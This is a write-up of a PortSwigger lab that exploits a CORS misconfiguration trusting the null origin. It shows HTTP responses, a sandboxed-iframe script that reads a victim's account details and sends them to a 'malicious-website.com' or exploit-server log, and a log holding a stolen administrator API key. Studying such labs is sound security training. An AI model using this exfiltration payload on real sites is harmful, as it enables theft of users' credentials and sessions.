Portswigger’s lab write up: CORS vulnerability with trusted null origin

Portswigger’s lab write up: CORS vulnerability with trusted null origin

In this apprentice-level lab, we will exploit a website with a CORS vulnerability that trusts the “null” origin to obtain a user’s private credentials.


Upon logging in with the given credentials, we visit the account details page and check the response headers of the request to /accountDetails that fetches the user’s API key:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "JQ7ufLKKzNoI4ahWKAKWBG5eP64wgwJW",
  "sessions": [
    "cdmflpOO6psYIp3novWUytbSDM9i68X1"
  ]
}

We can see that the Access-Control-Allow-Credentials: true is present, let’s try to duplicate this request and change the Origin header to something like Origin: <https://example.com> and see if this value is reflected, the resulting response will be something like this:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "JQ7ufLKKzNoI4ahWKAKWBG5eP64wgwJW",
  "sessions": [
    "cdmflpOO6psYIp3novWUytbSDM9i68X1"
  ]
}

The Origin set in the request headers is not present in the Access-Control-Allow-Origin response headers, this could mean that the server does not have CORS vulnerabilities, let’s try setting the Origin header to null :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "JQ7ufLKKzNoI4ahWKAKWBG5eP64wgwJW",
  "sessions": [
    "cdmflpOO6psYIp3novWUytbSDM9i68X1"
  ]
}

The null Origin set in the request headers is present in the Access-Control-Allow-Origin response headers, this confirms us that this request has a CORS vulnerability via null origin, let’s use the reading material’s sandboxed iframe template to craft our exploit so that the request is sent with the Origin header set to null:


<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<https://vulnerable-website.com/sensitive-victim-data>',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

We have to modify out exploit to include the vulnerable website’s /accountDetails endpoint and our exploit server /log endpoint, the final exploit will look like this:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','${LAB_URL}/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='{$EXPLOIT_SERVER_URL}/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

After sending this exploit to our victim we can read their credentials in our exploit server logs:

10.0.4.136      2023-01-18 23:07:09 +0000 "GET //log?key=%7B%0A%20%20%22username%22%3A%20%22administrator%22%2C%0A%20%20%22email%22%3A%20%22%22%2C%0A%20%20%22apikey%22%3A%20%22Cy5kzHkRRPli91YtqkDD7D5dOR3Nz7UH%22%2C%0A%20%20%22sessions%22%3A%20%5B%0A%20%20%20%20%22EPRXweYrVmKehWugd71p4CrWwJvBn4YS%22%0A%20%20%5D%0A%7D HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.74 Safari/537.36"

Medium: https://medium.com/@artofcode_/portswiggers-lab-write-up-cors-vulnerability-with-trusted-null-origin-a451104dde0f
Dev.to: https://dev.to/christianpaez/portswiggers-lab-write-up-cors-vulnerability-with-trusted-null-origin-4g9c
Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/cors/cors-vulnerability-with-trusted-null-origin